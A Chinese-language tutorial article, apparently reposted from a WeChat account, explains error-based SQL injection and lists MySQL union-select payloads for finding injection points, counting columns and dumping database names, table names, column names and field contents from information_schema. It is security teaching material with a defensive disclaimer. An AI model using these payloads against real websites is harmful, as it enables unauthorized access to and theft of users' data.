前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >谈一谈|SQL注入之显错注入

谈一谈|SQL注入之显错注入

作者头像
算法与编程之美
发布2020-07-16 12:55:01
7060
发布2020-07-16 12:55:01
举报

一、什么是SQL注入:

SQL是结构化查询语言,用于操作关系型数据库管理系统。目前,大多数Web编程语言提供了操作SQL的接口,以方便与数据库进行交互。但是在开发Web应用的过程中,由于忽视了代码的健壮性和安全性,攻击者可以构造巧妙的SQL语句从而获取到敏感数据,因此导致了SQL这种攻击方式的流行。

二、SQL注入的危害:

(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。

(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

三、注入攻击的本质:

把用户输入的数据当作代码执行。 注入的两个关键条件: 1. 用户能控制输入。 2. 原本程序要执行的代码,拼接了用户输入的数据。

四、SQL显错注入基本流程 1. 判断是否存在注入点 and 1=1 页面返回正常 and 1=2 页面返回不正常 URL后加单引号’ “ --+页面返回不正常 or sleep(5)页面5秒钟后正常显示 2. 猜解字段数 利用order by 排序 order by 1 以第一个字段排序

3. 联合查询寻找输出点 union select 1,2,3,4#

4. 输出点使用SQL注入语句 在我们语句2的位置输入要查询数据的语句 union select 1,database()#

五、Mysql数据库显错注入常用语句

and 1=1/and 1=2

判断是否存在注入

and 1=1 order by 3

按哪一列进行排序,从而可以确定有多少列

and 1=2 union select 1,2,3

查看页面中显示哪些数字,比如显示2,3

and 1=2 union select 1,2,database()

原本显示3的位置会显示数据库名称

and 1=2 union select 1,2,version()

会显示数据库版本

and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database()

查询当前数据库下的表名

and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'

查看数据库字段名

and 1=2 union select 1,2,group_concat(字段名) from 表名

查看字段内容

六、总结

SQL注入漏洞属于高危漏洞,不仅能窃取用户隐私,还可以攻陷服务器危害巨大。由于多方面原因目前仍有少数网站存在此漏洞。学习网络安全不仅是用于渗透测试,更是提升网站开发人员能力的重要途经。本期主要和大家分享了显错注入的原理和常用命令,下期将给大家带来实战视频。

以上内容仅用于信息技术防御教学,切勿用于其他用途。

END

主 编 | 王楠岚

责 编 | KeeCTh

where2go 团队

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 算法与编程之美 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档